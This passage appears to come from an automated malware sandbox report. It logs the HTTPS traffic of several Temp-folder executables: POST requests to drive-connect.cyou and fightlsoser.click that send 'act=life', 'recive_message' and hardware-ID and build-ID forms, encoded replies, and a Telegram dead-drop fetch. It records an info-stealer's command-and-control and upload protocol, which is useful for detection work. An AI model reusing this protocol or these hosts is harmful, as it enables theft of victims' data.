2024-12-13 00:51:46 UTC	2829	OUT	Data Raw: 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 Data Ascii: f5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE
2024-12-13 00:51:47 UTC	1027	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=itf3rg3smimeu91jq1s5hldfgu; expires=Mon, 07-Apr-2025 18:38:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3e%2FajV%2FP06N%2FF29n0pvCsRYOF9eqioC15trkdMXGs1srtsoi4dVkoeBS2dZwEdCVHC31%2FwiUtgSuJ2%2Ba7Ni3gu8dzcxhrp8M3D5L5eSptzsFX9atOGV31W6GkTBmd7xdHI%2By9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f11f7ba7c6f421d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1643&min_rtt=1632&rtt_var=635&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2841&recv_bytes=19122&delivery_rate=1691772&cwnd=177&unsent_bytes=0&cid=929b28a663c8ed31&ts=888&x=0"
2024-12-13 00:51:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-13 00:51:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49863	104.21.79.7	443	5700	C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:48 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drive-connect.cyou
2024-12-13 00:51:48 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-13 00:51:48 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bstl0k3dg29gkpsabb7t74qe6k; expires=Mon, 07-Apr-2025 18:38:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KpuFq0WEH42anqn%2B2Eg6ra8zKtjTKb6xpaAi3Ct9E6KGNmJ2ChdG4t19a9gOj4nR8PWMFRWrFeHCrRK5UnhMYFq6e6eeM5Qp85T2N9PCKcPCoSO%2FBdQw8ODz6bKEHO%2F6B7OQtG0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f11f7c24ae81a1f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1920&min_rtt=1919&rtt_var=722&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1512169&cwnd=228&unsent_bytes=0&cid=d3e630f820a9e204&ts=752&x=0"
2024-12-13 00:51:48 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-13 00:51:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49869	172.67.213.48	443	7216	C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:49 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MM7DV0A3WOIS3GRN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8775 Host: fightlsoser.click
2024-12-13 00:51:49 UTC	8775	OUT	Data Raw: 2d 2d 4d 4d 37 44 56 30 41 33 57 4f 49 53 33 47 52 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 34 31 45 31 39 46 42 42 42 32 43 46 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4d 4d 37 44 56 30 41 33 57 4f 49 53 33 47 52 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 4d 37 44 56 30 41 33 57 4f 49 53 33 47 52 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 4d 42 73 54 77 2d 2d 49 6e 73 74 61 6c 6c 73 0d 0a 2d Data Ascii: --MM7DV0A3WOIS3GRNContent-Disposition: form-data; name="hwid"4541E19FBBB2CF6723D904AF30EFEBBC--MM7DV0A3WOIS3GRNContent-Disposition: form-data; name="pid"2--MM7DV0A3WOIS3GRNContent-Disposition: form-data; name="lid"cMBsTw--Installs-
2024-12-13 00:51:50 UTC	1029	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=okl612gjhvotn4g7nlbj3oec4q; expires=Mon, 07-Apr-2025 18:38:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZR52q%2FDpH8U1Mbg0TXpSZRrHPC%2F6%2FYdTFR%2Ft3p0E5s5wBy9mCBkXLthkG25pp6jhB72TcLoXZxovXDukH0obqMnUlhX463XT%2FdKWEoC%2BhcY6V8qLVtmsubz4QjEmPG%2B%2FBVV5Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f11f7ca59267d0e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1824&min_rtt=1815&rtt_var=687&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2843&recv_bytes=9713&delivery_rate=1608815&cwnd=242&unsent_bytes=0&cid=71062e91e931052e&ts=929&x=0"
2024-12-13 00:51:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-13 00:51:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49870	104.21.79.7	443	5700	C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:50 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: drive-connect.cyou
2024-12-13 00:51:50 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-13 00:51:50 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6kmhg04n1vei26hla0v820b987; expires=Mon, 07-Apr-2025 18:38:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tdQL5myeEfijHr4BboEXjhtWZclRi%2FQcdV%2F6Lh8H82QPRRmB%2FhV0GD5xMBz5cxRcI%2BzCLMPwePUWEB6daUhWZIET%2FEud341K5aovyTfujY6v0%2B7edweDQH%2FYRC7NbDx1flnd%2FwY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f11f7cf3974726b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1979&min_rtt=1977&rtt_var=746&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=948&delivery_rate=1462193&cwnd=238&unsent_bytes=0&cid=c5275a7c4b7a43c2&ts=778&x=0"
2024-12-13 00:51:50 UTC	344	IN	Data Raw: 34 39 31 63 0d 0a 57 69 35 61 33 62 7a 7a 77 79 62 48 6f 64 44 45 41 71 39 57 37 4f 6c 63 33 2b 4e 68 72 4e 57 4c 78 79 31 34 65 54 66 33 44 72 41 68 44 43 7a 2f 68 73 66 76 42 4c 54 45 38 76 35 32 33 53 4f 4a 78 58 36 2b 68 30 4f 57 73 2b 71 72 58 68 31 56 46 59 46 6a 6b 6d 42 49 4f 37 48 50 6c 75 38 45 6f 74 6e 79 2f 6c 6e 55 64 49 6d 48 66 75 58 42 42 4d 61 33 36 71 74 50 47 52 4a 59 68 32 4c 54 4d 6b 49 39 74 64 6d 51 70 30 65 72 7a 4c 57 68 5a 38 34 38 67 6f 41 78 74 34 35 44 67 50 66 75 76 51 39 43 57 33 71 53 65 74 45 58 54 79 6d 32 6e 6f 37 76 58 65 58 45 76 75 59 34 6a 54 65 4a 69 7a 43 35 68 77 72 45 76 65 4f 6a 54 68 77 54 52 35 35 6f 32 44 4a 4d 50 72 54 54 6d 62 4e 4b 6f 63 75 2b 70 32 33 4f 64 4d 44 4c 4f 61 58 42 57 34 37 6b 32 36 5a 65 43 Data Ascii: 491cWi5a3bzzwybHodDEAq9W7Olc3+NhrNWLxy14eTf3DrAhDCz/hsfvBLTE8v523SOJxX6+h0OWs+qrXh1VFYFjkmBIO7HPlu8Eotny/lnUdImHfuXBBMa36qtPGRJYh2LTMkI9tdmQp0erzLWhZ848goAxt45DgPfuvQ9CW3qSetEXTym2no7vXeXEvuY4jTeJizC5hwrEveOjThwTR55o2DJMPrTTmbNKocu+p23OdMDLOaXBW47k26ZeC
2024-12-13 00:51:50 UTC	1369	IN	Data Raw: 4a 67 6b 6d 41 4d 50 72 48 66 6e 4b 46 57 72 63 69 35 6f 33 4c 47 50 59 4f 47 50 72 43 4c 44 4d 32 33 37 71 39 46 46 52 46 52 6d 47 48 55 4f 45 78 34 38 5a 36 57 75 51 54 39 67 35 47 6a 63 4d 6f 34 6d 4d 6b 45 2f 5a 35 4e 31 2f 66 75 71 51 39 43 57 31 32 51 62 39 45 7a 51 7a 75 33 31 59 4f 68 56 71 50 4f 74 37 52 6d 79 44 71 45 69 43 79 33 6a 77 58 4e 76 75 4b 73 53 68 30 66 46 64 73 73 31 53 41 4d 59 50 2f 2f 6e 4b 70 49 72 39 53 79 35 6e 2b 44 4c 63 36 4d 4d 76 33 5a 51 38 71 32 37 61 52 4c 46 42 56 52 6d 57 72 63 4e 55 4d 2b 74 64 36 57 71 30 79 74 77 72 2b 74 62 38 30 78 67 34 38 34 73 59 41 47 6a 76 6d 70 6f 6c 64 61 51 78 57 37 61 39 45 71 44 67 32 38 30 4a 2b 6d 55 75 58 63 2f 4c 38 67 79 6a 6a 4f 30 33 36 7a 68 41 7a 63 74 76 75 67 51 51 67 58 55 Data Ascii: JgkmAMPrHfnKFWrci5o3LGPYOGPrCLDM237q9FFRFRmGHUOEx48Z6WuQT9g5GjcMo4mMkE/Z5N1/fuqQ9CW12Qb9EzQzu31YOhVqPOt7RmyDqEiCy3jwXNvuKsSh0fFdss1SAMYP//nKpIr9Sy5n+DLc6MMv3ZQ8q27aRLFBVRmWrcNUM+td6Wq0ytwr+tb80xg484sYAGjvmpoldaQxW7a9EqDg280J+mUuXc/L8gyjjO036zhAzctvugQQgXU
2024-12-13 00:51:50 UTC	1369	IN	Data Raw: 7a 44 67 32 38 30 4a 2b 6d 55 75 58 63 2f 4c 38 67 79 6a 6a 4f 30 33 36 77 69 51 62 4c 75 4f 69 76 51 52 38 52 57 5a 31 69 30 53 70 44 50 4c 2f 53 6d 61 74 4a 71 38 65 36 72 32 76 47 4d 6f 36 4b 4e 50 33 50 51 38 6d 76 71 66 30 50 4c 68 78 5a 6d 47 4f 51 44 55 38 32 73 64 6d 48 34 56 76 72 32 76 4b 68 62 49 31 73 7a 6f 63 33 76 59 6f 4a 79 72 66 75 71 45 6f 5a 48 46 61 59 61 39 67 32 53 7a 79 7a 31 35 79 6e 52 4b 4c 48 74 37 52 6c 78 44 69 43 79 33 44 39 68 68 75 4f 37 36 6d 4b 53 41 77 59 65 70 5a 39 32 33 68 54 64 71 61 65 6c 71 30 45 2f 59 4f 31 6f 32 6a 47 4d 6f 61 4c 4c 4c 69 50 43 4d 2b 39 37 36 52 43 46 68 31 56 6c 47 7a 55 4e 45 77 2f 75 4d 79 44 70 45 4b 33 79 66 4c 6f 49 4d 6f 73 7a 74 4e 2b 69 35 45 55 33 36 47 72 6b 45 77 55 46 56 4b 44 4c 4d Data Ascii: zDg280J+mUuXc/L8gyjjO036wiQbLuOivQR8RWZ1i0SpDPL/SmatJq8e6r2vGMo6KNP3PQ8mvqf0PLhxZmGOQDU82sdmH4Vvr2vKhbI1szoc3vYoJyrfuqEoZHFaYa9g2Szyz15ynRKLHt7RlxDiCy3D9hhuO76mKSAwYepZ923hTdqaelq0E/YO1o2jGMoaLLLiPCM+976RCFh1VlGzUNEw/uMyDpEK3yfLoIMosztN+i5EU36GrkEwUFVKDLM
2024-12-13 00:51:50 UTC	1369	IN	Data Raw: 73 74 75 65 71 31 61 74 7a 62 2b 74 62 38 59 6d 6a 6f 59 36 73 59 55 4c 78 62 32 70 36 77 38 64 41 78 58 4e 4c 4f 63 31 51 7a 69 38 79 4e 47 2b 43 72 79 44 74 61 6f 67 6c 58 53 43 68 54 36 79 6a 51 2f 46 76 2b 69 70 51 52 30 65 58 4a 31 6b 77 44 6c 49 4d 4c 37 51 6e 71 42 41 6f 4d 61 32 6f 57 54 4c 4f 38 37 46 66 72 71 5a 51 35 62 33 78 6f 4a 36 57 44 70 76 31 58 4f 63 49 51 77 2f 73 35 37 4a 34 55 69 6d 7a 37 71 70 5a 73 51 34 68 49 49 31 73 59 6f 48 77 72 37 73 6f 30 34 66 48 6c 53 52 59 4e 67 2b 54 7a 75 77 30 5a 36 70 42 4f 75 44 74 62 34 67 6c 58 53 72 6e 44 57 7a 68 30 50 52 2b 66 44 6c 53 42 5a 62 44 64 56 67 32 7a 35 4b 50 62 50 66 6c 36 6c 42 72 63 65 7a 6f 47 62 4f 4f 34 71 4f 50 37 4b 46 44 38 43 39 36 4b 52 44 45 52 52 65 6b 43 79 63 65 45 73 Data Ascii: stueq1atzb+tb8YmjoY6sYULxb2p6w8dAxXNLOc1Qzi8yNG+CryDtaoglXSChT6yjQ/Fv+ipQR0eXJ1kwDlIML7QnqBAoMa2oWTLO87FfrqZQ5b3xoJ6WDpv1XOcIQw/s57J4Uimz7qpZsQ4hII1sYoHwr7so04fHlSRYNg+Tzuw0Z6pBOuDtb4glXSrnDWzh0PR+fDlSBZbDdVg2z5KPbPfl6lBrcezoGbOO4qOP7KFD8C96KRDERRekCyceEs
2024-12-13 00:51:50 UTC	1369	IN	Data Raw: 4b 52 4f 71 63 53 33 72 57 2f 42 64 4d 44 4c 4f 61 58 42 57 34 36 5a 34 72 5a 59 47 52 56 65 67 33 65 53 4a 77 49 68 2f 39 6d 64 34 52 7a 6c 77 4c 6d 74 5a 4d 30 34 6a 6f 38 7a 76 5a 4d 4d 79 62 44 67 72 6c 30 51 48 46 4b 65 5a 4e 6b 33 53 69 71 7a 30 49 4f 6b 56 72 65 44 2f 4f 5a 6e 31 58 54 57 79 77 69 36 6b 52 50 4e 39 64 69 7a 54 41 77 51 57 4a 6b 73 7a 58 5a 56 65 4c 6a 53 30 66 6b 45 6f 38 79 37 70 57 2f 4d 50 59 4b 47 4f 37 53 45 41 73 69 7a 34 36 39 50 48 42 31 55 6b 47 62 52 4f 55 59 78 75 4e 61 57 6f 6c 62 6c 6a 66 4b 68 65 49 31 73 7a 71 49 35 72 34 38 54 6a 71 69 6e 76 41 38 64 46 78 58 4e 4c 4e 59 79 51 7a 79 34 30 70 65 6b 51 71 6a 43 76 61 64 67 77 6a 43 46 67 6a 69 38 6a 41 62 44 73 2f 75 76 52 42 55 58 58 4a 6c 68 6b 6e 59 4d 50 36 65 65 Data Ascii: KROqcS3rW/BdMDLOaXBW46Z4rZYGRVeg3eSJwIh/9md4RzlwLmtZM04jo8zvZMMybDgrl0QHFKeZNk3Siqz0IOkVreD/OZn1XTWywi6kRPN9dizTAwQWJkszXZVeLjS0fkEo8y7pW/MPYKGO7SEAsiz469PHB1UkGbROUYxuNaWolbljfKheI1szqI5r48TjqinvA8dFxXNLNYyQzy40pekQqjCvadgwjCFgji8jAbDs/uvRBUXXJlhknYMP6ee
2024-12-13 00:51:50 UTC	1369	IN	Data Raw: 50 52 73 71 74 71 33 7a 36 46 6a 6a 4f 77 6a 41 44 49 73 65 4b 70 58 52 4d 62 56 70 34 73 6e 48 68 4c 49 50 2b 47 30 59 4a 54 73 38 6d 31 71 6e 62 47 4e 59 32 64 4d 36 33 42 54 59 36 6d 37 72 51 50 51 67 31 46 67 6d 76 4e 64 6c 56 34 75 4e 4c 52 2b 51 53 6a 79 72 53 68 5a 73 4d 6d 69 34 30 78 73 6f 67 4b 79 72 2f 71 70 55 73 65 48 46 43 57 59 4e 6b 2f 54 7a 65 37 31 35 2b 6f 53 2b 57 4e 38 71 46 34 6a 57 7a 4f 71 69 57 2b 6a 51 36 4f 71 4b 65 38 44 78 30 58 46 63 30 73 33 6a 5a 4a 4f 4c 58 59 6c 61 52 43 72 38 61 79 72 57 50 43 4d 49 69 50 4d 62 32 4b 43 73 2b 78 37 4b 39 45 48 42 5a 57 6b 32 71 53 64 67 77 2f 70 35 37 4a 34 57 53 2b 7a 72 36 68 49 4e 4a 36 6c 38 73 35 73 63 46 62 6a 72 7a 6c 6f 55 67 61 46 6c 61 64 61 64 59 79 53 54 69 33 7a 4a 6d 68 51 Data Ascii: PRsqtq3z6FjjOwjADIseKpXRMbVp4snHhLIP+G0YJTs8m1qnbGNY2dM63BTY6m7rQPQg1FgmvNdlV4uNLR+QSjyrShZsMmi40xsogKyr/qpUseHFCWYNk/Tze715+oS+WN8qF4jWzOqiW+jQ6OqKe8Dx0XFc0s3jZJOLXYlaRCr8ayrWPCMIiPMb2KCs+x7K9EHBZWk2qSdgw/p57J4WS+zr6hINJ6l8s5scFbjrzloUgaFladadYySTi3zJmhQ
2024-12-13 00:51:50 UTC	1369	IN	Data Raw: 68 64 6f 31 73 7a 72 56 2b 72 34 49 54 7a 62 6a 34 6d 77 39 43 41 6d 76 56 5a 38 51 2f 58 44 75 70 31 5a 79 74 56 5a 75 44 36 76 49 79 6e 32 62 63 32 53 48 39 6e 6a 79 41 39 2b 6a 6c 46 79 4d 43 46 59 4d 73 69 6d 6f 43 65 4b 32 65 79 65 45 44 70 74 47 67 6f 47 50 62 4e 38 6d 31 41 4a 71 58 43 63 6d 6e 37 72 4a 41 57 6c 55 56 6d 69 79 4b 41 51 77 78 75 4d 57 41 74 30 6d 31 78 50 4b 5a 4c 6f 30 73 7a 74 4e 2b 69 49 49 4e 77 4c 44 2f 74 41 49 39 44 56 2b 53 66 4e 55 76 51 33 6a 78 6e 70 66 68 48 50 61 4e 38 71 4a 78 6a 57 7a 65 32 57 58 6f 30 6c 53 65 35 66 62 72 56 6c 6f 4e 46 63 30 2b 6e 48 68 65 65 4f 65 65 31 71 4a 57 74 38 57 78 73 47 4f 4b 43 72 43 73 4a 4c 43 48 46 4e 2b 4a 31 36 4a 56 46 78 31 43 68 43 44 48 4f 30 49 32 75 4d 6a 52 37 77 53 71 67 2b Data Ascii: hdo1szrV+r4ITzbj4mw9CAmvVZ8Q/XDup1ZytVZuD6vIyn2bc2SH9njyA9+jlFyMCFYMsimoCeK2eyeEDptGgoGPbN8m1AJqXCcmn7rJAWlUVmiyKAQwxuMWAt0m1xPKZLo0sztN+iIINwLD/tAI9DV+SfNUvQ3jxnpfhHPaN8qJxjWze2WXo0lSe5fbrVloNFc0+nHheeOee1qJWt8WxsGOKCrCsJLCHFN+J16JVFx1ChCDHO0I2uMjR7wSqg+
2024-12-13 00:51:50 UTC	1369	IN	Data Raw: 4d 4a 2f 4c 5a 75 33 54 57 4a 76 6b 76 76 55 64 42 56 56 4d 31 58 71 53 59 42 35 32 2f 38 7a 52 2b 51 54 69 77 4b 43 30 5a 73 34 69 6a 63 77 41 67 36 59 4e 79 62 62 2f 74 56 67 56 4a 57 75 41 62 39 77 32 53 79 36 75 6e 74 2f 68 53 2b 57 62 69 2b 59 6f 6a 51 76 41 79 79 62 39 32 55 50 37 74 4f 65 72 53 41 77 4b 47 4c 4a 69 31 54 6c 61 4b 4b 6a 52 30 65 38 45 6f 34 50 71 39 43 36 4e 4d 4a 2f 4c 5a 75 33 54 57 4a 76 6b 76 76 55 64 42 56 56 4d 31 58 71 53 59 42 35 32 2f 38 7a 52 2b 51 54 69 77 4b 43 30 5a 73 34 69 6a 63 77 41 67 36 59 4e 79 62 62 2f 74 56 67 56 56 48 75 6a 54 65 77 47 57 54 75 78 30 4a 61 33 56 65 57 4e 38 71 6b 67 6c 51 33 4f 77 33 36 43 7a 30 50 57 39 37 48 6c 65 68 6b 56 57 35 4a 36 77 33 56 72 4e 72 6a 66 68 37 46 54 71 6f 79 63 6b 45 47 Data Ascii: MJ/LZu3TWJvkvvUdBVVM1XqSYB52/8zR+QTiwKC0Zs4ijcwAg6YNybb/tVgVJWuAb9w2Sy6unt/hS+Wbi+YojQvAyyb92UP7tOerSAwKGLJi1TlaKKjR0e8Eo4Pq9C6NMJ/LZu3TWJvkvvUdBVVM1XqSYB52/8zR+QTiwKC0Zs4ijcwAg6YNybb/tVgVVHujTewGWTux0Ja3VeWN8qkglQ3Ow36Cz0PW97HlehkVW5J6w3VrNrjfh7FTqoyckEG
2024-12-13 00:51:50 UTC	1369	IN	Data Raw: 53 75 2b 6b 51 54 77 69 63 53 33 53 41 6f 59 46 36 52 36 30 54 68 43 50 2f 2b 51 30 62 6b 45 2f 59 4f 66 74 47 66 64 4e 38 37 46 66 72 48 42 57 34 36 36 2b 36 4a 66 47 56 64 53 6a 32 75 53 4a 77 49 68 2f 38 6a 52 2b 52 66 72 67 36 44 6d 4f 49 31 7a 67 49 59 2f 76 6f 38 41 33 4b 58 76 70 6c 6b 5a 58 47 75 72 51 63 41 2f 58 44 76 39 37 35 79 6c 55 72 44 41 6f 71 46 65 38 78 6d 63 6a 43 36 2b 77 79 2f 4a 75 75 57 62 63 53 30 4b 55 6f 55 75 39 44 74 61 4f 2f 2b 51 30 62 6b 45 2f 59 4f 66 74 47 66 64 4e 38 79 6e 4f 62 43 4e 51 39 48 35 38 4f 56 5a 57 6b 4d 47 32 79 7a 41 65 42 52 34 2b 4e 32 44 73 30 4b 6d 31 62 48 68 58 76 4d 5a 6e 49 77 75 76 73 4d 79 77 37 50 2f 73 45 77 4b 48 47 75 72 51 63 41 2f 58 44 76 39 2b 36 76 6a 64 62 50 41 73 71 68 6e 6a 58 72 4f Data Ascii: Su+kQTwicS3SAoYF6R60ThCP/+Q0bkE/YOftGfdN87FfrHBW466+6JfGVdSj2uSJwIh/8jR+Rfrg6DmOI1zgIY/vo8A3KXvplkZXGurQcA/XDv975ylUrDAoqFe8xmcjC6+wy/JuuWbcS0KUoUu9DtaO/+Q0bkE/YOftGfdN8ynObCNQ9H58OVZWkMG2yzAeBR4+N2Ds0Km1bHhXvMZnIwuvsMyw7P/sEwKHGurQcA/XDv9+6vjdbPAsqhnjXrO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49871	149.154.167.99	443	5236	C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:50 UTC	86	OUT	GET /detct0r HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-12-13 00:51:50 UTC	510	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 13 Dec 2024 00:51:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12311 Connection: close Set-Cookie: stel_ssid=aacbcbb9ef58c746d0_574037661128354100; expires=Sat, 14 Dec 2024 00:51:50 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-12-13 00:51:50 UTC	12311	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 64 65 74 63 74 30 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @detct0r</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.paren

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49878	172.67.213.48	443	7216	C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:51 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J5M5TW7MBH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20392 Host: fightlsoser.click
